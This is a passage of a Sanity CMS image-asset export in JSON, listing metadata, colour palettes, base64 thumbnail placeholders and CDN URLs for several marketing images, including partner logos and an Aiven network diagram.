NSB9p4oNu/vwMz3j4ezHPfX1Gx3i1FmJhMArAPQyTQG6Do0VUXfzTDUvhgSKQ0w0JZgGKu3N6Bk2cGwyeauMdm9ZWa7MkZisVgKM5OcS/JvAHdTHyEF3o2i13cOLZ7DaPG1MxKPp0Djd/FYP+pPNMBe+SdGlNWGxObdZbYrL2a6qg8j+Zqu682apiEWjSIajUIN96D77CGccf3FhnNN7A7fZDTaD1WNIh69w2sdDdjy0/b+KUv3XBSb91tLqTLHAJPJZDbJ5Zqm+cPhMLu6utDREURrwAffuVM8f/YkWy5dZFtHG9vb2xkM/oubN7qpXjuhN7vX+1aura6y2J2zrI76HANMJBLDSS7RNO1CKBRCZ2cnWltb4ff7jQQCAQaDHQYWCASMn90KXedAz6Gk1vTOse4DTy7curHc8phtfbrLiUTCQnJBMpn0xuPxAVVVGYlEEIlE2NfXd2+kmmpQJAJV7YcWDRNd+xJsWOSha9w8nnrGJPMpQuhCDgiByQS2ZrZMqtFGXzI7Jt2KdNJPahvhXx/F4dl7k3XjnhpGyh3nsyLovSy42Sq47stGf6icibiH0KOZfXcfSuPpaLfAK78TDfbLVCZWw5lfyD0idBWJ8ODnwtSJs3G8Fc0/T8Zt/0eIXW3CQK8GfSC9fe5F14BYF3B1H9G0RIV32gE6C1+BMmkIa0cKnYUi/FAMEBViwdclOTy9YSaCu79gT915hhuj6POB6j/knQvkdTfZ+o3OxvLbqJ+u0FW0lK7xqUNE6MxPzxBVVuHaEcJ1Q62skJHclJ3HuvlPo2n5Kl5cXUNflZ++qh5e+CCE04uv8uhzzVAm7aSzcDFdRQX0TDEZFbomZEquFGFFeoZcYx7JSvMofim5/G10CWunLKD7iZVUZnxF19QtcBZX01nwBp0Fs+gqzkH9DMGlDUJ3iVEuXamSMyArZAgrJQ+Vpnyuseaz0pqHainEZtNEfj/kcW4bPp07RxWhbupQatuFLhHWjRW6i4XOggxYJP8BQG8fdcLdtvkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d1c18","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c8c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab617","foreground":"#000","population":4.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6b8c5","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce449","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5ca0","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab617","foreground":"#000","population":4.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Comcast-logo-image-composition.png","path":"images/sczeoy4w/production/3ded83070b291580e70f96d6d8695a7a2312f5b0-2500x2500.png","sha1hash":"3ded83070b291580e70f96d6d8695a7a2312f5b0","size":44918,"uploadId":"Smmznj983iHe7Au3WlQZMZwCaunohuBy","url":"https://cdn.sanity.io/images/sczeoy4w/production/3ded83070b291580e70f96d6d8695a7a2312f5b0-2500x2500.png"} {"_createdAt":"2022-09-28T14:25:03Z","_id":"image-cd7c2daf2b0272df2cbacfc81e57b1b902ad095e-2500x2500-png","_rev":"vDQRRYe9nRreptIRp0oNtr","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T14:25:03Z","assetId":"cd7c2daf2b0272df2cbacfc81e57b1b902ad095e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE00lEQVQ4jVWUD0yUdRjHn+M6dYqmpWmAZgWiZm5mNc01UwtYOVdTs2xlucWcjlnCvT+OCCjmHwqy0UqD5VyZphH/RP5jkDYkUWyWqIhT/gSn8efuOLjj7r7f9h4n2m/7vr/n9+x9Pu93v+fZK1QiUCLURKjEoAt6rPnzE6nkZSj5gkoyqGQFlYzXa0alifjfVzKyAoUmKgmjkmVUspJKFtBiepiJQcup5DsquU4lV6gMGUwMCmfe+3cMiN9QwIAfSiVBUDKXmmhQUkIlNVRygGb5lGb5AZq0UxNSEy81qaJZlnNnSBBjRWgW4VadYfgfMJiabKaSc1TipiYeKoOdH0/o5q6wfmTN93DvQuDzSB92hvzN1PvjqQyLoEkYE40TmBhkYJJpFKrbnU4lu6jkNpWQSWPAz8LJQ+vJmnSy8SBx4QjYkENUpdl5ZGMjMiOPMGnMbmqylsqgX5XR7zbg8AEqsVCTNn40jvzqWfDkTrDtDOCwgu4BcHgQdNmJ/nawpdrDEwlOZs6z0mKqpSZbmWgICfRCBMnjx0CTF5lk+gnZi2/h1F4veq4DXg8AAqS+68HIeXiI6DhHlMQTu2cNURmqoGQ1LfeNG3HoHRZ+IJPx7Yp1PLOvmj3Xh0iQI497dTfn84A3Tvl4eC2RGqw3zUKLaRo/FBEnKa6LxUG0//Ocb9BWNDQ44HI47LTZbNDlcDhot9vvCP39/f7csK0LaMgks8N7YJFMKuNMbtQdkmK39Y8l+ardMdDQ1NTkKy4uZkFBAYqKilhaWsr8/HwePXqUeXl5PHbsKEtKStB67TI8rQXksZVdSDelMl5mYNVd4HiS7926Zb2kF27fvh3btm2D2WxGQkICY2NjuWnTJsbHx3PHjh1MTk5GXV0tXO3VYO1bF337przDBJnAFQGg0+nUgW/39fVdrKysZEpKCuLi4pCWloaMjAympqYyLS2Nubm5zMnJQU5uLv68cJ7DXSd9bNz8m68wNApfihHrAkC3220iGeN2u+usVqu3sbGRZWVlqK+v59WrV9Hc3Kzv7OzsZEd7O27cbIOtt5vozPfyzGvVKJ2xnDVPBDFRHxtAhoc9OngegP0Aet1uNx0OO1yuIYzMin/pDQ6cCTjbiCt7hlC7JA8lU59ykML6VSMOMaKJBN4gcJqEe3RE7plGf6jnPA6wq5j4Y0O3q3RORsuhhY+JUHg+4NDXnK6DDfC6ZsHdq+DuuQSP0wv4/IBRwQe4ewBrJXlhy5CvemFN989z16ckmqfJgo4gMnCHuF0ndFwRDLYbaa1cgO7yDPz7ewvszcMY7CCGugnnTaL3LHHjAHHu3UFv9aKz9qLw+KqvYyIiVh8Pjnil0Ki79ANZ+bjw2l5hZ56gYe1YNm1ZhL/MKbycXoeWrA60ZNnQ/IkDTbF9OL2qFVWRxQPFj8ad3PfSwpUbD0wJiaoInrO60PhIzIkA8Fq2sGK2cKBVaBFhgcGEqsjZ/PXpNahdkuyuWZrjLH/mR+eJ+fttheGq61hkTPU3MY+88ObBySFR5ZNmxZQGh0WXGUOiKgJ/7dZsYb4Ij08Suqz+j1ytMAtLxWTPmzb19P5lT/6Steb57/dsWKwlWCKWvn44JDS6YmpYdNlDM6PLpodFlz0YGlVuCo0ql/8AODsHKDAtbtEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b2804","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7405","foreground":"#fff","population":11.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5dd99","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#acac5c","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7405","foreground":"#fff","population":11.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Spare-logo-image-composition.png","path":"images/sczeoy4w/production/cd7c2daf2b0272df2cbacfc81e57b1b902ad095e-2500x2500.png","sha1hash":"cd7c2daf2b0272df2cbacfc81e57b1b902ad095e","size":43754,"uploadId":"mKLwwNwvwPCYodVBvAK4oGmPrySTWXOs","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd7c2daf2b0272df2cbacfc81e57b1b902ad095e-2500x2500.png"} {"_createdAt":"2022-09-28T14:25:03Z","_id":"image-86632f69ac0639536883964a7ac7e98e54da7749-2500x2500-png","_rev":"XMqVxILwpPMz4xYxc252Gc","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T14:25:03Z","assetId":"86632f69ac0639536883964a7ac7e98e54da7749","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEmUlEQVQ4jVWUfUxVZRzHf1dAkBc1BQXTuZwN7kEbQqv+MJflapWxtjKrNXXLe0REe9fURBCYIeRyGL5sKQrqpqZRcC9vaVowKF9xvsA1UfAiCPIqcLnc8/22cy4IPDvf/c6z8zyf8/09v+d5RMwWEUUdLbPFJIrqL4oaIoo6VRQ1SMyq15OxZmOMPOmPakMfh4EBoqjzRFE/FUVNE0VNN0Wqn42Zs2qBb1T8pMjYJJM+zee51SIhS+XQrxWjeaIM/dWI/mK2LBRF3SuKek0U1SFmi0MiLLUSsfKkhK9cKhErJx8pqJJduX9IZGyS1Dc+EhICYMjhE+smMVsiRVGzRFHrxWypE7OlxHtunM0/OsEeELO2JSAm4bTfvDWvyuQlPq8sz5TYNbul8WGHAdQ17NAD9RNF/UAU9YKYLfXj5q3JfnPVruXbsgvWb/jhl1JL4uGuZRsPNCSkHt12tKBqFskxIpHSdul34YNq4aU8Yf46GZnuBFHUL0RR7wY+v7Y6LjkvtaOrJ2XA7ba2tnfX2e81O6tr7jtr7zZVdXb3ric5x+nSfEkKG68KXX3Cg4uHgd5z4yaI2fK5b1R83YJlGY6zVbcqAdwh6SSpkYTRNPQBuAFgO92uueh0eIMUXfSkrIpM+VB8o+L1lN+PWJxYmbbP6nQ0t/cbCE3TA6ETjcdobkK7yZ6WjbxZOBNmMRlOc2I9QL0jIqaZizZGfr3jxL7KiuvtzoYm0tEM1D8A2joBZz/wuBfo6QMG3ICrvx8tt8tRuf8jZjwbxKxoYclWT5W7HvdJBylHyq5Mrq1p2NB94UaDln+WOGaFllcAFP0NVFwBzvxDI16tBWrqCPvFNvyZkc1dUeEcTNtwqGnwWCYnsNf5JaprG7ScfGrJe6BtzYb2/c+6qKXuh7bzMLW9xwHrX8S18gGUJpUiM2IhYsRrcA0tRsq63EAQ3NpqtHXeRvllagdOGw61YzZoOfm6aPRPlQFXbhH2Co35CZVIDYvFJzLWAzRbjF0OTRO4BsaCfBuadh7tXQO410g8aAEethFNrfCohXjUAXR3Etd/c/Pg4vPY7PcG14m3ByjiOTput7EGAGYDyADQOFjVoQKPeCfYaieKv+tFZvhxfisxKPjYxJ9WjABqg0DSD66e19jXcRLOrk64XUM0XRrcLuDRf0B5loY98+1MDtyENK8Zxtz3Rjp0dgmKt4h+IuG4PBH2sqW4fbYI9y+2o9UOtNURzTeImmKiNGkAe1++h21P7WGK93zkBgfyQrgxdxDoKQpLk4QdDcKsF0w8vmIKT8cvYeE3OSxJvMriLQ7mr21izjt3kBl+jkmBO5jis4gHJk5l0TRfngox4czTww6H9hHLkj3w18WETWPHc/uMaOyYtZzpM7cwbWoqEwO+4mbTu0zxUpg7KZi2sCAWhvqyMNREa+jwtcjqEx5oTZHwXIYHGi+6vJgqk5guzzBdZvNHn+nMDQ6GbcZ4FE0bT2uoLj/awky0hY2+a7l1onD3i4I4Ee4MEe48JHDnCW+95c1LL/nx32g/lEf4smT6OBaG6vKnNXQcbWE+ujsd+D8zmnbd8gHW4wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#384764","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042975","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97507","foreground":"#fff","population":3.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2a2ce","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5494","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c6491","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97507","foreground":"#fff","population":3.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Vidio-logo-image-composition.png","path":"images/sczeoy4w/production/86632f69ac0639536883964a7ac7e98e54da7749-2500x2500.png","sha1hash":"86632f69ac0639536883964a7ac7e98e54da7749","size":42091,"uploadId":"V6eVluSSF7ZmHrplcKI0V2vUYhqvguxI","url":"https://cdn.sanity.io/images/sczeoy4w/production/86632f69ac0639536883964a7ac7e98e54da7749-2500x2500.png"} {"_createdAt":"2022-09-14T13:41:27Z","_id":"image-981d7b2370a5cbfc961811d81886f8044609812d-1200x630-jpg","_rev":"CrO06FCqRM2QFeey1SPTlC","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T13:41:27Z","assetId":"981d7b2370a5cbfc961811d81886f8044609812d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMEAQf/xAAkEAACAQQBAwUBAAAAAAAAAAABAgMABAUREgYUMRMhQVFhkf/EABcBAAMBAAAAAAAAAAAAAAAAAAABAgP/xAAZEQEBAQEBAQAAAAAAAAAAAAABAgARAyH/2gAMAwEAAhEDEQA/AO/3NvlGu5Hhu1ERbYUnwKzq3N3OMs7ftmRHlfi0rjap+1VEB3Ln3/tNnginThNGrr9MNinU9Pmz9ZalmXjkdM5i4yGJjnuAPU5FdqNBtfIoqmNEjQJGoVR4AGgKKonEFTIL13//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24ae7d","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66ad84","foreground":"#fff","population":0.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8ccc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eacba1","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66ad84","foreground":"#fff","population":0.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3cbc79","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"InfluxDB_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/981d7b2370a5cbfc961811d81886f8044609812d-1200x630.jpg","sha1hash":"981d7b2370a5cbfc961811d81886f8044609812d","size":28426,"uploadId":"9uZ7MNLBnU9dIijZbYioMK2QxF294q9A","url":"https://cdn.sanity.io/images/sczeoy4w/production/981d7b2370a5cbfc961811d81886f8044609812d-1200x630.jpg"} {"_createdAt":"2022-10-25T14:13:11Z","_id":"image-e0724f6dbe97bea01203ada90030a464636c4bd7-1999x1354-png","_rev":"9EhxcQHTplKyRiLd2PrksS","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:13:11Z","assetId":"e0724f6dbe97bea01203ada90030a464636c4bd7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7SY:Vt,K*^i~o.9?GIA-:S5*I-PR5yrH@Q.oyOGMe-o","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4763663220088625,"height":1354,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACjklEQVQ4jV1SaWsUQRDd//9DRAQFvwmSeID4RcIMhsRszK7RZGdmZ+fq+6p60j0Bj4Y3NdBVr15Vvw0zUwaAEmMkUsrRPFtyLv5z93+utZGG0VDTSGoaQcOgacNPh4jZ2sDjaPjYyRKtCbkDUyKOIRUUSmaOkXiaLN/tRq7rhuv6wPv9wJkQGd5HTKNBf5SYBgUtHLw0CMoguAhrVqREBUoFtK3CdjugqhvUdYP9bsAGQFHnXORlcdyfFE+9ZLtotpNiO2sOLrH3xN4lTok5JWJjIs+z477X3HaSu6epMmFeCGIkSB2we1S4281YBg05GcjFI8Z1CkqUu4NTAqWEGP/GqnxDtJJZGzBOFvsHhf1PDSFCGdHoCO8JwUck78FWg5UAaY1oLIJxSCGBOUsDNiEkOBexLBZNI/B4EJgmhxDWjtZGzLPFNGq4cQT/3IKuK6T9HVw3QPUCWnikxMism/wYWV0mu7xscHvbF/KsPDebZ4O+V1hGBd8eQF/eIb55AfP5E+SvDnJQMMKV5kUhERWFV9cdXr6scH52jVMvCqGzAcusoaVFFALxx3eELx8xnb3F3YcL3G87yCWPHMHEyFMX2zhHuLo64fmzC7x+dYH2cSiLt9JAn6ZCRqcW4bqG/lrh4fIe9UWD7c0IIXx5sHxy3OSv88T7veb357/44/sdH9uZOXgOi2DXthyOHbvDgfWPe5YPDY/ZKkfHp5Nla2Mx+srHq7HzQucp4PZmws23ActsQSEgSQHXdlCHHuK4QC+2mDwVi6x1eTX/KGRmmZEiSSW9lNLLEJKklGTUVupByGXQUusoY8q5kEAGP8UVmSPHTFj9DQDrP3EVY6qcTZX3VBHlO67wX/5a86fuN9FNMXiR5bl7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373560","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#221a6b","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f59176","foreground":"#000","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b9d5","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59176","foreground":"#000","population":0.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#585ab4","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47c5c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e0724f6dbe97bea01203ada90030a464636c4bd7-1999x1354.png","path":"images/sczeoy4w/production/e0724f6dbe97bea01203ada90030a464636c4bd7-1999x1354.png","sha1hash":"e0724f6dbe97bea01203ada90030a464636c4bd7","size":193394,"uploadId":"RDQcaW6YPyj7SzGYjbnhWkm0jjjtKe6p","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0724f6dbe97bea01203ada90030a464636c4bd7-1999x1354.png"} {"_createdAt":"2022-09-15T12:55:05Z","_id":"image-bec8777ae9e3b5e457126694b12fb2652a638dbe-606x526-png","_rev":"StyfnzRSyhTCbsBlPK2Jha","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T12:55:05Z","assetId":"bec8777ae9e3b5e457126694b12fb2652a638dbe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKHmch[A00GaEf_}^PKQ5lo#9tR*o~I:VsKlJ7E0OGxaNtEgjb-Usm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1520912547528517,"height":526,"width":606},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAE7UlEQVQ4jW2UfzDUaRzHP7sO2/rZTFRXorKcbS2WW26ddBVJkcIiG7XbCltqsd/vdwtHqPw4uwil0+3VypacTq2USK5EXUqxU1Oqm3I312juqqsr8jw3q5u6Zu6Zec/nv9e83p/nmQcQCfCf0BAJZogEC0SClTETBFhiEqz+SDe3PhDjYpu4iD813I/PEAo8ge/iAqE+XvDReQ8jJqcpImEaImEuIoGFCHDGJM35TQawbik4/OOUSFKUFEdsCF4Y7Dvf0XoWAIiDBMBnsf4H+M7OGpHgjEjwRCTwJgjgYQq8nqSZ8LuVIUmdZWSHRpl6XxIcsJ/rMMPdh8+lYYzB0d4BRqto8Ctl/w72UmEG/1adhQjgviVo3uMKmvcbBd0HU8C7l8L0b6Uicy6os+4fpjYh0UKfLpb9tCVgMs/EKOXhOAPGtCagXcEAwBQAJoGOSLCdIMDVaGaEYCV4Tc4s8Lq2kbm4OtFf9b187UjRuhUozJN11Wv21OiMZXZMABsAmA9Pq01AFcB8X5eBCJiDSfB4raD7DKZOFTQnOi7VieYF3cq0W9qTYZlcHDmzrTDC5QUVNA+vWmD3SMSzUjVuYPBwLc0MY4CRUjroY5kAbwmaMTaYBNfftk7hq6I54SGLQgiOb1SNGz+6NlUo2HtaYdtaF8/8vXI1c6JqjTlK5jPG0/zMDA0x9HTDNrodPg9wJxvgxygGABXON1a2+DPdlFUU6bGK6xtZacNN7GdwxA8tPcQPwiNWPaqXL3imETtNaKVO+IzCARULHXFOyJxn9XHTqy8m2TjjFjb0FXBBLzQzrvQy4Bqg74t1c+ILIggr7vobTHfx8HTP+FZ2QEKzfEvanZMV1JhevQOfq96Brmm3o1MVWbghL/Nla1bskYtyLtd4070YQ1eCETg9B8CiDFw/FzpZua8vN+NIfnHwjm+RBvsl1G8JFHUdKmsa6Ox6cbN7AN/svoEGf+pH/Z3Xce+Jc+OXqgvbuokvA7TWQO8DgE6REeiWBOCaAnS21AnY0vIpHPEQ339NhV7itOSpyiP8YUvpkXu9157d/nkEG66MoKHeR2jw8mN8/Wz/+KV9pR0dW32XnLUEkxIAOB7FBAC2FMAlFYCdNI3GlkpsuQllEWFCWWX+tg2qkuzdTQeruy+1XnzR227APWcMqKdtEPW0GfD5E32vjlUd1BdmpoWGJCRbpr7GoI81/2AI7GTTTzjSObM9Y91kVN4XyeqjJXF7dEOpxbrRwoqmN7t2fYeySTXKJlRoZ+4BvLP06OvNxY1Dy5V1ap6kSOAeJjcH+wAAmtHQCPTPhRmB6TQMAPHqlpmheY2ZiyntYBB1aGylsg6HSL/GX61chwOWi3CgSImCFfvfLs2qf8WXVV51jaQSP/WLswQrNzDubhKI8RHw3KaDjIK74JimM11NanyE8pq60BT1aKCs8u8V8vLnsvScvzLJ3LGNeTV47R4djsnXPg+Tq/WCWMUy2wXLJ9/MB8P5SfDZMgpy00uhUnUamg+32ZcVaLbIUopPhIryjkZvLtn/bUmZpqNub3uztuG29nj7k2Mt3Y9PnrqgaWlu994k3k776BuLr70AozfuQ75sL+wIy4ZWzTmL2oLDvPy0b4LFcQQvJko2t0Epdxuo2hlqaNZl3bnc3zQ8MNz34Oaw9u4Vg/8P5Y30Cslu+AcXni6EsJsCmAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e334e","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042a87","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ab10","foreground":"#000","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1abd1","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#75b1e5","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#678894","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ab10","foreground":"#000","population":0.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"women-sitting-with-laptop.png","path":"images/sczeoy4w/production/bec8777ae9e3b5e457126694b12fb2652a638dbe-606x526.png","sha1hash":"bec8777ae9e3b5e457126694b12fb2652a638dbe","size":51545,"uploadId":"0XDbVtaIWygr0kM01wcuHRZOqvqEppez","url":"https://cdn.sanity.io/images/sczeoy4w/production/bec8777ae9e3b5e457126694b12fb2652a638dbe-606x526.png"} {"_createdAt":"2022-09-25T12:52:51Z","_id":"image-480e4714ce54963150ab20447d3e70e871a92a7d-530x281-png","_rev":"NtJpmdKTpdEgU65ZHEsNQQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-25T12:54:00Z","altText":"Diagram VPC peer connector between your private network and Aiven platform","assetId":"480e4714ce54963150ab20447d3e70e871a92a7d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.886120996441281,"height":281,"width":530},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADM0lEQVQokT2SfWhVdRjHf3dl2kDyL8Uo0EL650JFxQQVkYaxsKZhlBam0chX6A9TFxSDjGSSFVtT1MgWeyN1jTtBFyG+tBcGc2yz3c1772H33Hte7++c8zu/e17vOc8TdwOfPx6ef74fvt8vD/l34hHhjk/GpnIEEQkhy0l1qneXep2gei8BZWEt+to+DK0UhlyBgFPw2F2w9S9AE1+EuckncOuTBLT8krDug+9IOievKKrmOpXadRq13ygqxnPz41NPgZVbjYF5ACLvVmQ7mp/TgiCjhLHJTQi8EXD4cdCV9TA+mlg0VF05UVuh6GyjSu3TGrVT1Cr3U+ac0mz7tUpoNiD4qTgMHWtawoW2Oyj/+A+6YwLGjh9iGI4AYx9BPr8SdWUJqJbYOst2v1WpnRMKepiXaGDIpRk+nW6tzKV/Rre8EHkhSrczMHH0Gjxs6gHj+mQcMQ8RYgqO+xOo2vqlylY2EmqV68quP1AyeZBZUFEQZGRT807QOzgZ/Tk4gQsFXgXqMzLMdNzH2XO3kQ5nIXIDRAAXPL8PqPHKEpC8Skomf5073lWLlT1ZM1CRdeSzWe5fvTka/XVrGESJVYIAWYmB9F8BpRkRTdmAMAgR4thF3++GEn35cYcFxXzWsMonLManqGHZhmFZlmYMs7lscyUvnAbffRRVKugwC5gkAiuIUKZGHIYhQhSp6DhnQFGffwyczcnL8pKeLEja8UJR7RKLSqco64dE03wpis0tGHvdEDhmVJzHytgQRneHMErPInDuQOD/DcxqBEGohfRDQn7puEwunL9E/uhNLe/qHdjQ0zewvaunv/633/teaP/6zDKk86vAL+3CUqYHx/sz2NtK4ddzJtxI5TGbvQHM/BQ0aS1c6SRQdbhr9/7FR04m6xJv1u+s3fHunjU73tmzevtb79Vu21SfQOsOAZ5Z5T+4toV3f3XCPtt0gbUcu8zOft/iDqbejvOZNSg8qKkmBVMj5MDevYuxJ6fnSHv7xcTJk9/UNDe31LS1X0yMjoyRoY428lnDQfLD0fef7vh854bOpsbNnft3bz3/8YfJ1n2fPPPlkcOEJBvIwKUriw7/B/JRgu5VPa/KAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38474c","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#53340f","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f35c1c","foreground":"#fff","population":0.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afc0d3","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb474","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#936264","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f35c1c","foreground":"#fff","population":0.86,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"diagram-your-private-network-connect-aiven-platform.png","path":"images/sczeoy4w/production/480e4714ce54963150ab20447d3e70e871a92a7d-530x281.png","sha1hash":"480e4714ce54963150ab20447d3e70e871a92a7d","size":12449,"title":null,"uploadId":"lZ4xb9zabrGjSTOomBULUz5XCBcnu3w7","url":"https://cdn.sanity.io/images/sczeoy4w/production/480e4714ce54963150ab20447d3e70e871a92a7d-530x281.png"} 